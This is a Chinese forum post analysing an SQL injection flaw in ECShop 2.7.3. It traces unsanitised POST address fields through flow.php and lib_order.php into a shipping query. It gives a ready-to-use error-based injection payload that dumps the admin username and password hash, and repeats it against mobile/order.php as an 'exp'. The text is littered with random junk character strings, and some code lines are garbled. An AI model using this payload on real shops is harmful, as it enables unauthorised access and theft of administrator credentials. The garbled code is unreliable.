前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。4 `7 t! p7 K7 ]$ b2 a. `
# ?/ q5 w6 V3 i
漏洞关键文件:
: F- k- O4 ?/ ?4 Y' P( _6 o" M
+ b$ m3 x, r! S; g /includes/lib_order.php, m& J, q v, P& Z& j* H6 Z
3 v1 r( o8 K5 B" c" U* d
关键函数:
5 x3 P7 \7 d6 }$ S6 a, r3 M
2 A( w8 l, F. p6 H 4 L0 j/ k& h" W) N" |( M
# m( @3 j8 e& Z- l01 function available_shipping_list($region_id_list)
$ ?9 l; C% r2 p: l: M5 v* q2 C' |( }0 r
. B7 W8 F) {3 k5 k; Z02 {
$ q, G6 E- ]6 x3 A9 v
) Y. }5 m" e. C6 c! D7 h8 K- \03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 0 E6 Y0 R2 i; N0 V- I/ _
7 h" W7 ^" o7 ~4 R3 y; n
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
; L) m; M5 ^! K7 w) O$ M( x. e4 O* B, g' _7 v1 ?& d! \1 t5 l% N
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
2 ?7 }! v7 w5 `; j! V9 v) M; o9 ^/ U- N
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 7 b2 m* u5 _+ U& E3 D- s9 [/ I
0 Q8 U8 B$ T1 ]6 L0 ]
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. 1 k' C7 o4 ?3 u8 O8 d; {
0 }' |7 i8 p8 |" `# O08 'WHERE r.region_id ' . db_create_in($region_id_list) .
! `- a1 \% T9 X( K
: y/ Q, w M* X( f0 L8 D09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
# J. F# ~6 N: h* @$ O8 `, J9 l2 W
10 ; ~/ i3 |2 v9 K" ~4 J
6 ^6 n) ?' b. ?7 J* I: D/ z' [) n% O11 return $GLOBALS['db']->getAll($sql); - A! j- g- q( l3 {
# m0 W T- p" A; a
12 } 5 e \% s& F# |, r* \
v( h3 P! P& v& v; N" J
显然对传入的参数没有任何过滤就带入了查询语句。
/ B' d# |4 s; }3 m& D1 V
: n" n: P- \2 |8 \1 ]. D: V下面我们追踪这个函数在flow.php中:
4 M- R- z1 ^) s% g 第531行: 9 N3 G) K+ k7 _9 p' r' c
! ~1 _; [* D/ ~1 $shipping_list = available_shipping_list($region); ' l3 u, n% L- p7 c( h0 M2 _
R2 U! F9 B$ ?
2 Q2 i5 z8 G; A" J8 b, M8 q
7 n" c/ c$ a8 Q" ` & F4 Q! p: E6 H
/ g- F% Q) \5 W再对传入变量进行追踪:: D+ [2 H4 v" E7 A& z8 ]) A
: h, Z% T9 F& ?4 q0 w. ]
第530行: $ _" T! j# s4 \) ?+ r
$ z6 o7 g, K, k( n# m' d$ [% ~# Z1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); + \" i. m# G+ u i: Y9 i! f
|: ]* T; x: s" h- V& }' g. \
/ L8 w+ _7 t3 q, T; g% Q( v3 j+ E
/ r$ y1 x" H) J! R 8 t4 y* J+ T! b! k l5 i F4 T
; p$ }0 J" n! z& Z+ @8 O, L- o
第473行:
9 c' l' r( }6 s7 a: |( _ L" U: B8 u2 Q
1 $consignee = get_consignee($_SESSION['user_id']); / m7 _ V! c& v8 z2 M
# D6 M2 o( I& W; ^$ `
到了一个关键函数:6 [0 ]- g4 R0 W+ A4 y" O
; n) d. j2 O/ X& Q
/includes/lib_order.php
) E8 m# K7 {: |4 V( x% a" {
H3 ^# H @/ y8 X0 z L/ H * z6 O: r5 \, T9 F3 P
3 w2 ?0 p1 @& O4 _5 J6 L/ S8 k : _; R' T& I/ L& u4 e+ v0 w
T1 v7 ?/ v+ \( T6 R01 function get_consignee($user_id)
7 G! T* V5 G* G
! E( w+ _* w* D" x02 {
; S1 O1 z3 B+ O+ f' h& c3 e$ Z( f2 k$ Y- M& Q# `
03 if (isset($_SESSION['flow_consignee'])) : l' T/ v* @9 C+ s" F% }2 m* t
3 {% t ]" a, N3 Z( _- K04 {
$ P4 ` L7 P* o8 p* Z. V0 [
- a0 ^0 N% D6 a$ i05 /* 如果存在session,则直接返回session中的收货人信息 */ 1 n- Z) f! ~# D, y; u9 l. ^
' w6 }( g3 F1 g# P06 # u& ~1 C* _, B% K; q0 c0 w/ f4 O
4 a+ ]4 l5 t% I7 k- X- Z07 return $_SESSION['flow_consignee']; + X+ T8 @' A3 `+ `/ U: z8 [
- E$ y. C9 w5 K2 Z08 }
y9 V8 w0 f% B1 {$ X; X U! h9 M/ R5 S1 \* U5 S
09 else
0 w* I! \) Y# w
5 Y, ?- {6 I8 Q5 p4 h10 { ' y6 t4 X3 z, t6 x
, I: o7 H6 N4 c8 W
11 /* 如果不存在,则取得用户的默认收货人信息 */ 2 Y8 }2 |) W' d, _1 y
! N/ [3 S8 j0 G# l( N2 n0 q& k8 C
12 $arr = array();
. D% D R6 \( } M" X; P" U6 }' z- W! J" H$ T1 v
13 & s. p1 t( \; w$ ]5 l( W
" l8 U- @) J/ K2 n14 if ($user_id > 0)
" t$ n( C" w) O; B F/ }# `. L$ Z! `; _- h' F! \: u
15 {
( x5 `" v& x3 _& I
3 {1 ?$ [6 j* `* n16 /* 取默认地址 */
; ?) C! a0 H/ N6 a1 u2 W/ y; R7 x0 P. M, p' v
17 $sql = "SELECT ua.*". % U& Z" _5 V* Q3 i
% h8 g0 Y7 _1 Z9 ?. `) d
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 1 M: P4 h- Z& D5 R5 o! q
; n5 {3 v1 R, y% E( i5 {5 ~5 a9 z19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
2 ?! A" P0 I/ E0 ]6 e8 z
% {0 Q* p% P8 \+ y5 D; k1 U20
: ]# K: ~5 e/ V9 e7 x/ S% [+ I6 X, {
21 $arr = $GLOBALS['db']->getRow($sql);
" q& S, S1 @; G2 t6 Z/ y" g$ E; G# m ~9 G1 q
22 }
* S" q$ q/ X* V B" O0 ?, h9 b$ w* }4 e% C
23 / U0 j3 V0 o( ]1 ?- T( T( a
& A7 B0 Y. s. T4 i24 return $arr; 9 B* N" ` {/ j' w& Q2 s# T8 I
. T" d0 t" C, z0 f' q R
25 } " b; V" t+ T1 d
! y) d' B; Y1 |26 } # T7 z2 ]9 [$ a0 e: @. g4 {
$ }( ?; t* e3 R0 F+ S显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?+ H. J, b( u* @' [ ?
& l) j" Y& \3 E; k9 N2 r0 Z: ~
( u4 R6 Z8 d' A3 Y1 P& M% L, B
0 o* {' x2 m- g# X" ?关键点:" h& G( a3 c% \. D8 A' Y/ O
# N$ [! w' ?3 G' X# e" c" g4 d第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
; j. B# G) U" c0 W8 a8 S8 F
' _. e# y" R6 i& ^; m! z, h l这里对传入参数反转义存入$_SESSION中。) p* k( Y' n$ e2 b
6 I B0 v) P8 ~4 L
% {8 a- c7 A0 ^" B5 h) I) Q- F& r( d: _" g9 x S! ~( _$ P
然后看下:7 l8 H' W# b3 a% o% ^/ }4 ?
2 e+ r. h8 |+ N # o" X7 z7 ^: n/ W0 K/ `5 L
5 H7 G" s b3 p$ B* B- u7 A' N
; Q3 T6 ]$ |9 [$ L) Z/ V/ p2 _& H0 J4 t; p
01 $consignee = array( / q+ t3 I3 H+ N: p8 X
# R5 O- n+ p- Y1 C' K$ T02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), + k( X, p! U, W l7 ?
6 E- Q) @% J S6 r& D8 C1 b
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), 4 ?4 m2 Y* u" Y, X, P, Q) \' [2 c
$ ?- Q: a% M: \" P04 'country' => empty($_POST['country']) ? '' _POST['country'], , Z1 @3 J/ [* j O W
" o' e0 L5 ?" [$ D' \05 'province' => empty($_POST['province']) ? '' _POST['province'],
4 W) r% b' I1 O# }
% g: q* G6 Z) r+ F5 H06 'city' => empty($_POST['city']) ? '' _POST['city'], 6 [$ j, A4 r/ T. s& c( ?* J
/ j+ F1 n" _1 O8 b07 'district' => empty($_POST['district']) ? '' _POST['district'], ; j' r0 w% y' B3 t1 j
* i# l1 o% V% g s( K08 'email' => empty($_POST['email']) ? '' _POST['email'],
$ p. f* L) \! V- l- \$ G/ y7 C6 ^! m+ I( K
09 'address' => empty($_POST['address']) ? '' _POST['address'], 8 K7 o! k/ a$ q% a* L
3 V6 V9 J- _7 ^$ V1 O) Y
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), 3 {* Q4 R( v' ?* L ^( m" @7 @
: R% O! F# l2 O I- A) [
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 5 ^" `4 S% [% U% r: |3 |( |
6 J/ M+ R Y+ I9 U$ `4 M
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), & g0 ~- g3 X6 N- [
- w8 F! G- w i1 P13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 6 s4 ^( D/ x8 f5 t
( o0 x4 F) [& y) I6 R# h' r L* a14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], 5 e2 }" c0 V9 Q5 W- y8 k7 Y$ y$ l4 g
' G! C) A! G, [' x; s; f4 V
15 );
8 W9 t( `! O" q2 h9 e7 A
d( `6 D7 X: g9 B- T! Y5 x: B; J# [好了注入就这样出现了。7 N& M6 T6 f/ c: `
6 U( y# K" [, D( }! `==================/ Z5 B/ L6 m5 z6 D3 f: I
5 u" ^7 }9 y0 q2 F# t
注入测试:
, \. F$ M6 R0 d' ^' i* }6 E! \0 h8 a0 ~4 ~) A1 s n
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
9 g! b. B ?. l7 g. K6 I5 o1 S5 w" u: G- v
测试程序:ECShop_V2.7.3_UTF8_release1106
% G9 j+ `5 N* |0 f5 ]/ `' u
" T5 V* B. f7 b: m; s
; s7 y8 |4 e2 E @
8 S9 h/ U9 ^6 Q- g1.首先需要点击一个商品加入购物车, {7 h, s; y4 D$ F H! _
2 I! O# Y- u, \3 J2.注册一个会员帐号8 M& q0 ]% w @. N. c/ F( y
! m6 D+ ^4 Q! R' b/ p# F& `3.post提交数据
2 G6 L, v d7 E+ ?1 M3 T
( @6 Q+ ^" o, u1 z8 j! _
* |$ n. e; _2 o- M2 @+ Z6 x; @# i/ P# t1 n
1 http://127.0.0.1/ecshop/flow.php
' b! y i, r: L4 N
8 g5 p0 l' K& }; m2
: h# t% V t6 c. j6 ?
0 k; Z8 _( w# u3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
) s1 l9 x# G+ t! S举一反三,我们根据这个漏洞我们可以继续深入挖掘:
& `$ b6 q9 n6 E {1 s6 d8 ~- `4 o. J& U1 L1 y# t" n
我们搜寻关键函数function available_shipping_list()" c. n2 H, ]) Y' F. d) K; `
, ~% \2 c- G) Z# S8 O# ?
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
: w9 a2 F( B1 v2 {* U' K9 }# v/ R" _2 J4 `/ W
利用exp:
7 ~% ]. ]8 k) q9 Y' ^" j
2 t8 N) @- L8 {" c' T! f, p- w) z* ^1.点击一个商品,点击购买商标
8 |3 t. ~1 o8 n! D
* i/ b' T( [% w9 v! X2.登录会员帐号
2 V7 h. Z0 z- z4 \! s6 D) I7 j, e: u
1 ^0 U$ ~# w) T5 {. D6 D4 H3.post提交:
, r8 y0 d7 n# A
/ N( p' t! n, ^, S5 j, Y3 J) @http://127.0.0.1/ecshop/mobile/order.php
4 R8 Q8 q) w* y+ |& B2 ?( P5 i' }! h' x
# u! _* L0 |3 ` j/ m
# U) R4 r7 w5 ]; m' F) M( L3 M6 qcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=9 X; ~/ H& P r. R X6 v
/ u, o2 m; U- x! u
|